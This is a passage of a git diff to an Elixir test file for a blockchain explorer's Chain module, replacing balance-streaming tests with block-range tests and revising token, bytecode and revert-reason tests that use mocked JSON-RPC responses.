`t:Explorer.Chain.InternalTransaction.t/0` `to_address_hash`" do - to_address = insert(:address) - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block) + # 0011 + test "0..0 with blocks 2,3" do + Enum.each([2, 3], &insert(:block, number: &1)) - insert( - :internal_transaction_create, - to_address: to_address, - index: 0, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + assert Chain.missing_block_number_ranges(0..0) == [0..0] + end - balance = insert(:unfetched_balance, address_hash: to_address.hash, block_number: block.number) + # 0100 + test "0..0 with block 1" do + insert(:block, number: 1) - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + assert Chain.missing_block_number_ranges(0..0) == [0..0] + end - assert %{address_hash: to_address.hash, block_number: block.number} in balance_fields_list + # 0101 + test "0..0 with blocks 1,3" do + Enum.each([1, 3], fn num -> + insert(:block, number: num) + Process.sleep(200) + end) - update_balance_value(balance, 1) + assert Chain.missing_block_number_ranges(0..0) == [0..0] + end - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + # 0111 + test "0..0 with blocks 1..3" do + Enum.each(1..3, fn num -> + insert(:block, number: num) + Process.sleep(200) + end) - refute %{address_hash: to_address.hash, block_number: block.number} in balance_fields_list + assert Chain.missing_block_number_ranges(0..0) == [0..0] end - test "an address_hash used for multiple block_numbers returns all block_numbers" do - miner = insert(:address) - mined_block = insert(:block, miner: miner) - - insert(:unfetched_balance, address_hash: miner.hash, block_number: mined_block.number) - - from_transaction_block = insert(:block) + # 1000 + test "0..0 with block 0" do + insert(:block, number: 0) - :transaction - |> insert(from_address: miner) - |> with_block(from_transaction_block) + assert Chain.missing_block_number_ranges(0..0) == [] + end - insert(:unfetched_balance, address_hash: miner.hash, block_number: from_transaction_block.number) + # 1001 + test "0..0 with blocks 0,3" do + Enum.each([0, 3], &insert(:block, number: &1)) - to_transaction_block = insert(:block) + assert Chain.missing_block_number_ranges(0..0) == [] + end - :transaction - |> insert(to_address: miner) - |> with_block(to_transaction_block) + # 1010 + test "0..0 with blocks 0,2" do + Enum.each([0, 2], &insert(:block, number: &1)) - insert(:unfetched_balance, address_hash: miner.hash, block_number: to_transaction_block.number) + assert Chain.missing_block_number_ranges(0..0) == [] + end - log_block = insert(:block) + # 1011 + test "0..0 with blocks 0,2,3" do + Enum.each([0, 2, 3], &insert(:block, number: &1)) - log_transaction = - :transaction - |> insert() - |> with_block(log_block) + assert Chain.missing_block_number_ranges(0..0) == [] + end - insert(:log, address: miner, transaction: log_transaction) - insert(:unfetched_balance, address_hash: miner.hash, block_number: log_block.number) + # 1100 + test "0..0 with blocks 0..1" do + Enum.each(0..1, &insert(:block, number: &1)) - from_internal_transaction_block = insert(:block) + assert Chain.missing_block_number_ranges(0..0) == [] + end - from_internal_transaction_transaction = - :transaction - |> insert() - |> with_block(from_internal_transaction_block) + # 1101 + test "0..0 with blocks 0,1,3" do + Enum.each([0, 1, 3], fn num -> + insert(:block, number: num) + Process.sleep(200) + end) - insert( - :internal_transaction_create, - from_address: miner, - index: 0, - transaction: from_internal_transaction_transaction, - block_number: from_internal_transaction_transaction.block_number, - block_hash: from_internal_transaction_transaction.block_hash, - block_index: 0, - transaction_index: from_internal_transaction_transaction.index - ) + assert Chain.missing_block_number_ranges(0..0) == [] + end - insert(:unfetched_balance, address_hash: miner.hash, block_number: from_internal_transaction_block.number) + # 1110 + test "0..0 with blocks 0..2" do + Enum.each(0..2, &insert(:block, number: &1)) - to_internal_transaction_block = insert(:block) + assert Chain.missing_block_number_ranges(0..0) == [] + end - to_internal_transaction_transaction = - :transaction - |> insert() - |> with_block(to_internal_transaction_block) + # 1111 + test "0..0 with blocks 0..3" do + Enum.each(0..2, fn num -> + insert(:block, number: num) + Process.sleep(200) + end) - insert( - :internal_transaction_create, - index: 0, - to_address: miner, - transaction: to_internal_transaction_transaction, - block_number: to_internal_transaction_transaction.block_number, - block_hash: to_internal_transaction_transaction.block_hash, - block_index: 0, - transaction_index: to_internal_transaction_transaction.index - ) + assert Chain.missing_block_number_ranges(0..0) == [] + end - insert(:unfetched_balance, address_hash: miner.hash, block_number: to_internal_transaction_block.number) + test "0..2 with block 1" do + insert(:block, number: 1) - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + assert Chain.missing_block_number_ranges(0..2) == [0..0, 2..2] + end + end - balance_fields_list_by_address_hash = Enum.group_by(balance_fields_list, & &1.address_hash) + describe "recent_collated_transactions/1" do + test "with no collated transactions it returns an empty list" do + assert [] == Explorer.Chain.recent_collated_transactions(true) + end - assert balance_fields_list_by_address_hash[miner.hash] |> Enum.map(& &1.block_number) |> Enum.sort() == - Enum.sort([ - to_internal_transaction_block.number, - from_internal_transaction_block.number, - log_block.number, - to_transaction_block.number, - from_transaction_block.number, - mined_block.number - ]) + test "it excludes pending transactions" do + insert(:transaction) + assert [] == Explorer.Chain.recent_collated_transactions(true) end - test "an address_hash used for the same block_number is only returned once" do - miner = insert(:address) - block = insert(:block, miner: miner) + test "returns a list of recent collated transactions" do + newest_first_transactions = + 50 + |> insert_list(:transaction) + |> with_block() + |> Enum.reverse() - insert(:unfetched_balance, address_hash: miner.hash, block_number: block.number) + oldest_seen = Enum.at(newest_first_transactions, 9) + paging_options = %Explorer.PagingOptions{page_size: 10, key: {oldest_seen.block_number, oldest_seen.index}} + recent_collated_transactions = Explorer.Chain.recent_collated_transactions(true, paging_options: paging_options) - :transaction - |> insert(from_address: miner) - |> with_block(block) + assert length(recent_collated_transactions) == 10 + assert hd(recent_collated_transactions).hash == Enum.at(newest_first_transactions, 10).hash + end - :transaction - |> insert(to_address: miner) - |> with_block(block) + test "returns transactions with token_transfers preloaded" do + address = insert(:address) + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address) - log_transaction = + transaction = :transaction |> insert() - |> with_block(block) + |> with_block() - insert(:log, address: miner, transaction: log_transaction) + insert_list( + 2, + :token_transfer, + to_address: address, + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + block: transaction.block + ) - from_internal_transaction_transaction = - :transaction - |> insert() - |> with_block(block) + fetched_transaction = List.first(Explorer.Chain.recent_collated_transactions(true)) + assert fetched_transaction.hash == transaction.hash + assert length(fetched_transaction.token_transfers) == 2 + end + end - insert( - :internal_transaction_create, - from_address: miner, - index: 0, - transaction: from_internal_transaction_transaction, - block_number: from_internal_transaction_transaction.block_number, - block_hash: from_internal_transaction_transaction.block_hash, - block_index: 0, - transaction_index: from_internal_transaction_transaction.index - ) + describe "smart_contract_bytecode/1" do + test "fetches the smart contract bytecode" do + smart_contract_bytecode = + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" - to_internal_transaction_transaction = + created_contract_address = insert(:address, contract_code: smart_contract_bytecode) + + transaction = :transaction |> insert() - |> with_block(block) + |> with_block() insert( :internal_transaction_create, - to_address: miner, + transaction: transaction, index: 0, - transaction: to_internal_transaction_transaction, - block_number: to_internal_transaction_transaction.block_number, - block_hash: to_internal_transaction_transaction.block_hash, - block_index: 1, - transaction_index: to_internal_transaction_transaction.index + created_contract_address: created_contract_address, + created_contract_code: smart_contract_bytecode, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index ) - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) - - balance_fields_list_by_address_hash = Enum.group_by(balance_fields_list, & &1.address_hash) - - assert balance_fields_list_by_address_hash[miner.hash] |> Enum.map(& &1.block_number) |> Enum.sort() == [ - block.number - ] + assert Chain.smart_contract_bytecode(created_contract_address.hash) == smart_contract_bytecode end end @@ -4733,14 +2407,6 @@ defmodule Explorer.ChainTest do assert Chain.circulating_supply() == ProofOfAuthority.circulating() end - describe "address_hash_to_smart_contract/1" do - test "fetches a smart contract" do - smart_contract = insert(:smart_contract, contract_code_md5: "123") - - assert ^smart_contract = Chain.address_hash_to_smart_contract(smart_contract.address_hash) - end - end - describe "token_from_address_hash/1" do test "with valid hash" do token = insert(:token) @@ -4775,233 +2441,18 @@ defmodule Explorer.ChainTest do assert Chain.stream_uncataloged_token_contract_address_hashes([], &[&1 | &2]) == {:ok, [uncatalog_address]} end - describe "stream_cataloged_token_contract_address_hashes/2" do - test "reduces with given reducer and accumulator" do - today = DateTime.utc_now() - yesterday = Timex.shift(today, days: -1) - %Token{contract_address_hash: catalog_address} = insert(:token, cataloged: true, updated_at: yesterday) - insert(:token, cataloged: false) - assert Chain.stream_cataloged_token_contract_address_hashes([], &[&1 | &2], 1) == {:ok, [catalog_address]} - end - - test "sorts the tokens by updated_at in ascending order" do - today = DateTime.utc_now() - yesterday = Timex.shift(today, days: -1) - two_days_ago = Timex.shift(today, days: -2) - - token1 = insert(:token, %{cataloged: true, updated_at: yesterday}) - token2 = insert(:token, %{cataloged: true, updated_at: two_days_ago}) - - expected_response = - [token1, token2] - |> Enum.sort(&(Timex.to_unix(&1.updated_at) < Timex.to_unix(&2.updated_at))) - |> Enum.map(& &1.contract_address_hash) - - assert Chain.stream_cataloged_token_contract_address_hashes([], &(&2 ++ [&1]), 12) == {:ok, expected_response} - end - end - - describe "stream_unfetched_token_instances/2" do - test "reduces wuth given reducer and accumulator" do - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address, type: "ERC-721") - - transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 1)) - - token_transfer = - insert( - :token_transfer, - block_number: 1000, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 11 - ) - - assert {:ok, [result]} = Chain.stream_unfetched_token_instances([], &[&1 | &2]) - assert result.token_id == token_transfer.token_id - assert result.contract_address_hash == token_transfer.token_contract_address_hash - end - - test "does not fetch token transfers without token id" do - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address, type: "ERC-721") - - transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 1)) - - insert( - :token_transfer, - block_number: 1000, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: nil - ) - - assert {:ok, []} = Chain.stream_unfetched_token_instances([], &[&1 | &2]) - end - - test "do not fetch records with token instances" do - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address, type: "ERC-721") - - transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 1)) - - token_transfer = - insert( - :token_transfer, - block_number: 1000, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 11 - ) - - insert(:token_instance, - token_id: token_transfer.token_id, - token_contract_address_hash: token_transfer.token_contract_address_hash - ) - - assert {:ok, []} = Chain.stream_unfetched_token_instances([], &[&1 | &2]) - end - end - - describe "search_token/1" do - test "finds by part of the name" do - token = insert(:token, name: "magic token", symbol: "MAGIC") - - [result] = Chain.search_token("magic") - - assert result.link == token.contract_address_hash - end - - test "finds multiple results in different columns" do - insert(:token, name: "magic token", symbol: "TOKEN") - insert(:token, name: "token", symbol: "MAGIC") - - result = Chain.search_token("magic") - - assert Enum.count(result) == 2 - end - - test "do not returns wrong tokens" do - insert(:token, name: "token", symbol: "TOKEN") - - result = Chain.search_token("magic") - - assert Enum.empty?(result) - end - - test "finds record by the term in the second word" do - insert(:token, name: "token magic", symbol: "TOKEN") - - result = Chain.search_token("magic") - - assert Enum.count(result) == 1 - end - end - describe "transaction_has_token_transfers?/1" do test "returns true if transaction has token transfers" do - transaction = insert(:transaction) - insert(:token_transfer, transaction: transaction) - - assert Chain.transaction_has_token_transfers?(transaction.hash) == true - end - - test "returns false if transaction has no token transfers" do - transaction = insert(:transaction) - - assert Chain.transaction_has_token_transfers?(transaction.hash) == false - end - end - - describe "update_token/2" do - test "updates a token's values" do - token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) - - update_params = %{ - name: "Hodl Token", - symbol: "HT", - total_supply: 10, - decimals: Decimal.new(1), - cataloged: true - } - - assert {:ok, updated_token} = Chain.update_token(token, update_params) - assert updated_token.name == update_params.name - assert updated_token.symbol == update_params.symbol - assert updated_token.total_supply == Decimal.new(update_params.total_supply) - assert updated_token.decimals == update_params.decimals - assert updated_token.cataloged - end - - test "trims names of whitespace" do - token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) - - update_params = %{ - name: " Hodl Token ", - symbol: "HT", - total_supply: 10, - decimals: 1, - cataloged: true - } - - assert {:ok, updated_token} = Chain.update_token(token, update_params) - assert updated_token.name == "Hodl Token" - assert Repo.get_by(Address.Name, name: "Hodl Token") - end - - test "inserts an address name record when token has a name in params" do - token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) - - update_params = %{ - name: "Hodl Token", - symbol: "HT", - total_supply: 10, - decimals: 1, - cataloged: true - } - - Chain.update_token(token, update_params) - assert Repo.get_by(Address.Name, name: update_params.name, address_hash: token.contract_address_hash) - end - - test "does not insert address name record when token doesn't have name in params" do - token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) - - update_params = %{ - cataloged: true - } + transaction = insert(:transaction) + insert(:token_transfer, transaction: transaction) - Chain.update_token(token, update_params) - refute Repo.get_by(Address.Name, address_hash: token.contract_address_hash) + assert Chain.transaction_has_token_transfers?(transaction.hash) == true end - test "stores token with big 'decimals' values" do - token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) - - update_params = %{ - name: "Hodl Token", - symbol: "HT", - total_supply: 10, - decimals: 1_000_000_000_000_000_000, - cataloged: true - } + test "returns false if transaction has no token transfers" do + transaction = insert(:transaction) - assert {:ok, _updated_token} = Chain.update_token(token, update_params) + assert Chain.transaction_has_token_transfers?(transaction.hash) == false end end @@ -5014,7 +2465,7 @@ defmodule Explorer.ChainTest do token_balances = address.hash |> Chain.fetch_last_token_balances() - |> Enum.map(fn {token_balance, _} -> token_balance.address_hash end) + |> Enum.map(fn token_balance -> token_balance.address_hash end) assert token_balances == [current_token_balance.address_hash] end @@ -5043,40 +2494,13 @@ defmodule Explorer.ChainTest do token_holders_count = contract_address_hash - |> Chain.fetch_token_holders_from_token_hash(false, []) + |> Chain.fetch_token_holders_from_token_hash([]) |> Enum.count() assert token_holders_count == 2 end end - describe "count_token_holders_from_token_hash" do - test "returns the most current count about token holders" do - address_a = insert(:address, hash: "0xe49fedd93960a0267b3c3b2c1e2d66028e013fee") - address_b = insert(:address, hash: "0x5f26097334b6a32b7951df61fd0c5803ec5d8354") - - %Token{contract_address_hash: contract_address_hash} = insert(:token) - - insert( - :address_current_token_balance, - address: address_a, - block_number: 1000, - token_contract_address_hash: contract_address_hash, - value: 5000 - ) - - insert( - :address_current_token_balance, - address: address_b, - block_number: 1002, - token_contract_address_hash: contract_address_hash, - value: 1000 - ) - - assert Chain.count_token_holders_from_token_hash(contract_address_hash) == 2 - end - end - describe "address_to_transactions_with_token_transfers/2" do test "paginates transactions by the block number" do address = insert(:address) @@ -5197,85 +2621,6 @@ defmodule Explorer.ChainTest do end end - describe "address_to_unique_tokens/2" do - test "unique tokens can be paginated through token_id" do - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address, type: "ERC-721") - - insert( - :token_instance, - token_contract_address_hash: token_contract_address.hash, - token_id: 11 - ) - - insert( - :token_instance, - token_contract_address_hash: token_contract_address.hash, - token_id: 29 - ) - - transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 1)) - - first_page = - insert( - :token_transfer, - block_number: 1000, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 29 - ) - - second_page = - insert( - :token_transfer, - block_number: 999, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 11 - ) - - paging_options = %PagingOptions{key: {first_page.token_id}, page_size: 1} - - unique_tokens_ids_paginated = - token_contract_address.hash - |> Chain.address_to_unique_tokens(paging_options: paging_options) - |> Enum.map(& &1.token_id) - - assert unique_tokens_ids_paginated == [second_page.token_id] - end - end - - describe "uncataloged_token_transfer_block_numbers/0" do - test "returns a list of block numbers" do - block = insert(:block) - address = insert(:address) - - log = - insert(:token_transfer_log, - transaction: - insert(:transaction, - block_number: block.number, - block_hash: block.hash, - cumulative_gas_used: 0, - gas_used: 0, - index: 0 - ), - block: block, - address_hash: address.hash - ) - - block_number = log.block_number - assert {:ok, [^block_number]} = Chain.uncataloged_token_transfer_block_numbers() - end - end - describe "address_to_balances_by_day/1" do test "return a list of balances by day" do address = insert(:address) @@ -5369,79 +2714,6 @@ defmodule Explorer.ChainTest do end end - describe "contract_creation_input_data/1" do - test "fetches contract creation input data from contract creation transaction" do - address = insert(:address) - - input = %Data{ - bytes: <<1, 2, 3, 4, 5>> - } - - :transaction - |> insert(created_contract_address_hash: address.hash, input: input) - |> with_block() - - found_creation_data = Chain.contract_creation_input_data(address.hash) - - assert found_creation_data == Data.to_string(input) - end - - test "fetches contract creation input data from internal transaction" do - created_contract_address = insert(:address) - - transaction = - :transaction - |> insert() - |> with_block() - - input = %Data{ - bytes: <<1, 2, 3, 4, 5>> - } - - insert( - :internal_transaction_create, - transaction: transaction, - index: 0, - created_contract_address: created_contract_address, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index, - input: input - ) - - assert Chain.contract_creation_input_data(created_contract_address.hash) == Data.to_string(input) - end - - test "can't find address" do - hash = %Hash{ - byte_count: 20, - bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> - } - - found_creation_data = Chain.contract_creation_input_data(hash) - - assert found_creation_data == "" - end - - test "fetches contract creation input data from contract byte code (if contract is pre-compiled)" do - input = %Data{ - bytes: <<1, 2, 3, 4, 5>> - } - - address = - insert(:address, - contract_code: %Data{ - bytes: <<1, 2, 3, 4, 5>> - } - ) - - found_creation_data = Chain.contract_creation_input_data(address.hash) - - assert found_creation_data == Data.to_string(input) |> String.replace("0x", "") - end - end - describe "transaction_token_transfer_type/1" do test "detects erc721 token transfer" do from_address_hash = "0x7a30272c902563b712245696f0a81c5a0e45ddc8" @@ -5491,70 +2763,6 @@ defmodule Explorer.ChainTest do end end - describe "contract_address?/2" do - test "returns true if address has contract code" do - code = %Data{ - bytes: <<1, 2, 3, 4, 5>> - } - - address = insert(:address, contract_code: code) - - assert Chain.contract_address?(to_string(address.hash), 1) - end - - test "returns false if address has not contract code" do - address = insert(:address) - - refute Chain.contract_address?(to_string(address.hash), 1) - end - - @tag :no_parity - @tag :no_geth - test "returns true if fetched code from json rpc", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - hash = "0x71300d93a8CdF93385Af9635388cF2D00b95a480" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn _arguments, _options -> - {:ok, - [ - %{ - id: 0, - result: "0x0102030405" - } - ]} - end) - end - - assert Chain.contract_address?(to_string(hash), 1, json_rpc_named_arguments) - end - - @tag :no_parity - @tag :no_geth - test "returns false if no fetched code from json rpc", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - hash = "0x71300d93a8CdF93385Af9635388cF2D00b95a480" - - if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn _arguments, _options -> - {:ok, - [ - %{ - id: 0, - result: "0x" - } - ]} - end) - end - - refute Chain.contract_address?(to_string(hash), 1, json_rpc_named_arguments) - end - end - describe "fetch_first_trace/2" do test "fetched first trace", %{ json_rpc_named_arguments: json_rpc_named_arguments @@ -5619,7 +2827,7 @@ defmodule Explorer.ChainTest do {:ok, from_address_hash_bytes} = Chain.string_to_address_hash(from_address_hash) {:ok, created_contract_code_bytes} = Data.cast(created_contract_code) {:ok, init_bytes} = Data.cast(init) - {:ok, transaction_hash_bytes} = Chain.string_to_transaction_hash(transaction_hash) + {:ok, transaction_hash_bytes} = Chain.string_to_full_hash(transaction_hash) {:ok, type_bytes} = Type.load(type) value_wei = %Wei{value: Decimal.new(value)} @@ -5664,8 +2872,12 @@ defmodule Explorer.ChainTest do describe "transaction_to_revert_reason/1" do test "returns correct revert_reason from DB" do - transaction = insert(:transaction, revert_reason: "No credit of that type") - assert Chain.transaction_to_revert_reason(transaction) == "No credit of that type" + # Error("No credit of that type") + hex_reason = + "0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000164e6f20637265646974206f662074686174207479706500000000000000000000" + + transaction = insert(:transaction, revert_reason: hex_reason) + assert Chain.transaction_to_revert_reason(transaction) == hex_reason end test "returns correct revert_reason from the archive node" do @@ -5678,359 +2890,89 @@ defmodule Explorer.ChainTest do ) |> with_block(insert(:block, number: 1)) - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn _json, [] -> - {:error, %{code: -32015, message: "VM execution error.", data: "revert: No credit of that type"}} - end - ) - - assert Chain.transaction_to_revert_reason(transaction) == "No credit of that type" - end - end - - describe "proxy contracts features" do - @proxy_abi [ - %{ - "type" => "function", - "stateMutability" => "nonpayable", - "payable" => false, - "outputs" => [%{"type" => "bool", "name" => ""}], - "name" => "upgradeTo", - "inputs" => [%{"type" => "address", "name" => "newImplementation"}], - "constant" => false - }, - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [%{"type" => "uint256", "name" => ""}], - "name" => "version", - "inputs" => [], - "constant" => true - }, - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [%{"type" => "address", "name" => ""}], - "name" => "implementation", - "inputs" => [], - "constant" => true - }, - %{ - "type" => "function", - "stateMutability" => "nonpayable", - "payable" => false, - "outputs" => [], - "name" => "renounceOwnership", - "inputs" => [], - "constant" => false - }, - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [%{"type" => "address", "name" => ""}], - "name" => "getOwner", - "inputs" => [], - "constant" => true - }, - %{ - "type" => "function", - "stateMutability" => "view", - "payable" => false, - "outputs" => [%{"type" => "address", "name" => ""}], - "name" => "getProxyStorage", - "inputs" => [], - "constant" => true - }, - %{ - "type" => "function", - "stateMutability" => "nonpayable", - "payable" => false, - "outputs" => [], - "name" => "transferOwnership", - "inputs" => [%{"type" => "address", "name" => "_newOwner"}], - "constant" => false - }, - %{ - "type" => "constructor", - "stateMutability" => "nonpayable", - "payable" => false, - "inputs" => [ - %{"type" => "address", "name" => "_proxyStorage"}, - %{"type" => "address", "name" => "_implementationAddress"} - ] - }, - %{"type" => "fallback", "stateMutability" => "nonpayable", "payable" => false}, - %{ - "type" => "event", - "name" => "Upgraded", - "inputs" => [ - %{"type" => "uint256", "name" => "version", "indexed" => false}, - %{"type" => "address", "name" => "implementation", "indexed" => true} - ], - "anonymous" => false - }, - %{ - "type" => "event", - "name" => "OwnershipRenounced", - "inputs" => [%{"type" => "address", "name" => "previousOwner", "indexed" => true}], - "anonymous" => false - }, - %{ - "type" => "event", - "name" => "OwnershipTransferred", - "inputs" => [ - %{"type" => "address", "name" => "previousOwner", "indexed" => true}, - %{"type" => "address", "name" => "newOwner", "indexed" => true} - ], - "anonymous" => false - } - ] - - @implementation_abi [ - %{ - "constant" => false, - "inputs" => [%{"name" => "x", "type" => "uint256"}], - "name" => "set", - "outputs" => [], - "payable" => false, - "stateMutability" => "nonpayable", - "type" => "function" - }, - %{ - "constant" => true, - "inputs" => [], - "name" => "get", - "outputs" => [%{"name" => "", "type" => "uint256"}], - "payable" => false, - "stateMutability" => "view", - "type" => "function" - } - ] - - test "combine_proxy_implementation_abi/2 returns empty [] abi if proxy abi is null" do - proxy_contract_address = insert(:contract_address) - assert Chain.combine_proxy_implementation_abi(proxy_contract_address, nil) == [] - end - - test "combine_proxy_implementation_abi/2 returns [] abi for unverified proxy" do - proxy_contract_address = insert(:contract_address) - - get_eip1967_implementation() - - assert Chain.combine_proxy_implementation_abi(proxy_contract_address, []) == [] - end - - test "combine_proxy_implementation_abi/2 returns proxy abi if implementation is not verified" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") - assert Chain.combine_proxy_implementation_abi(proxy_contract_address, @proxy_abi) == @proxy_abi - end - - test "combine_proxy_implementation_abi/2 returns proxy + implementation abi if implementation is verified" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") - - implementation_contract_address = insert(:contract_address) - - insert(:smart_contract, - address_hash: implementation_contract_address.hash, - abi: @implementation_abi, - contract_code_md5: "123" - ) - - implementation_contract_address_hash_string = - Base.encode16(implementation_contract_address.hash.bytes, case: :lower) + # Error("No credit of that type") + hex_reason = + "0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000164e6f20637265646974206f662074686174207479706500000000000000000000" expect( EthereumJSONRPC.Mox, :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, - [ - %{ - id: id, - jsonrpc: "2.0", - result: "0x000000000000000000000000" <> implementation_contract_address_hash_string - } - ]} - end - ) - - combined_abi = Chain.combine_proxy_implementation_abi(proxy_contract_address.hash, @proxy_abi) - - assert Enum.any?(@proxy_abi, fn el -> el == Enum.at(@implementation_abi, 0) end) == false - assert Enum.any?(@proxy_abi, fn el -> el == Enum.at(@implementation_abi, 1) end) == false - assert Enum.any?(combined_abi, fn el -> el == Enum.at(@implementation_abi, 0) end) == true - assert Enum.any?(combined_abi, fn el -> el == Enum.at(@implementation_abi, 1) end) == true - end - - test "get_implementation_abi_from_proxy/2 returns empty [] abi if proxy abi is null" do - proxy_contract_address = insert(:contract_address) - assert Chain.get_implementation_abi_from_proxy(proxy_contract_address, nil) == [] - end - - test "get_implementation_abi_from_proxy/2 returns [] abi for unverified proxy" do - proxy_contract_address = insert(:contract_address) - - get_eip1967_implementation() - - assert Chain.combine_proxy_implementation_abi(proxy_contract_address, []) == [] - end - - test "get_implementation_abi_from_proxy/2 returns [] if implementation is not verified" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") - assert Chain.get_implementation_abi_from_proxy(proxy_contract_address, @proxy_abi) == [] - end - - test "get_implementation_abi_from_proxy/2 returns implementation abi if implementation is verified" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") - - implementation_contract_address = insert(:contract_address) - - insert(:smart_contract, - address_hash: implementation_contract_address.hash, - abi: @implementation_abi, - contract_code_md5: "123" - ) - - implementation_contract_address_hash_string = - Base.encode16(implementation_contract_address.hash.bytes, case: :lower) + fn + [%{method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "gasUsed" => "0x5208", + "input" => "0x01", + "output" => hex_reason, + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "type" => "CALL", + "value" => "0x86b3" + } + } + ]} + + [%{method: "trace_replayTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "input" => "0x01", + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "value" => "0x86b3" + }, + "error" => "Reverted", + "result" => %{ + "gasUsed" => "0x5208", + "output" => hex_reason + }, + "subtraces" => 0, + "traceAddress" => [], + "type" => "call" + } + ], + "transactionHash" => "0xdf5574290913659a1ac404ccf2d216c40587f819400a52405b081dda728ac120", + "vmTrace" => nil + } + } + ]} - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> - {:ok, - [ + %{method: "eth_call"}, _options -> + {:error, %{ - id: id, - jsonrpc: "2.0", - result: "0x000000000000000000000000" <> implementation_contract_address_hash_string - } - ]} - end - ) - - implementation_abi = Chain.get_implementation_abi_from_proxy(proxy_contract_address.hash, @proxy_abi) - - assert implementation_abi == @implementation_abi - end - - test "get_implementation_abi_from_proxy/2 returns implementation abi in case of EIP-1967 proxy pattern" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: [], contract_code_md5: "123") - - implementation_contract_address = insert(:contract_address) - - insert(:smart_contract, - address_hash: implementation_contract_address.hash, - abi: @implementation_abi, - contract_code_md5: "123" - ) - - implementation_contract_address_hash_string = - Base.encode16(implementation_contract_address.hash.bytes, case: :lower) - - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn %{ - id: _id, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x000000000000000000000000" <> 